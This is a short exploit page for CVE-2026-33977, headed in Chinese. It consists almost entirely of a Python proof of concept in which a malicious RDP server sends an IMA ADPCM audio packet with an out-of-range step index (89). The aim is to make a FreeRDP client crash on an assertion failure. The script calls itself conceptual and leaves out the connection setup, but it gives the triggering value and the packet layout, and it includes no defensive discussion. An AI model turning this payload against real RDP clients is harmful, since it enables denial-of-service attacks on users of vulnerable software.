CVE-2026-33977 FreeRDP音频重定向拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33977: FreeRDP Client Crash via Malicious Audio Data # This script demonstrates how a malicious RDP server could trigger the crash. # Conceptual implementation using a library like impacket. import sys def send_malicious_audio_packet(rdp_connection): """ Simulates sending a malicious IMA ADPCM audio packet to the FreeRDP client. """ # 1. Negotiate Audio Output (RDPSND) and IMA ADPCM format # (Assuming negotiation has happened earlier in the connection) # 2. Construct the malicious payload # The vulnerability is triggered by the 'initial step index' in the audio data. # Valid range for the index table is 0-88. # Setting it to 89 or higher triggers the assert. malicious_step_index = 89 # Invalid value # Placeholder for the rest of the audio data audio_data_padding = b'\x00' * 100 # Construct the raw packet (Simplified structure) # Format: [Step Index (1 byte)] [Audio Data] payload = bytes([malicious_step_index]) + audio_data_padding print(f"[*] Sending malicious audio packet with step index: {malicious_step_index}") # 3. Send to the connected client try: rdp_connection.send_channel_data("rdpsnd", payload) print("[+] Packet sent. Client should crash due to WINPR_ASSERT failure.") except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": # This is a conceptual representation. # In a real scenario, you would use a modified RDP server library. print("CVE-2026-33977 PoC: FreeRDP IMA ADPCM Index Crash") print("Requires a setup where a client connects to this server.")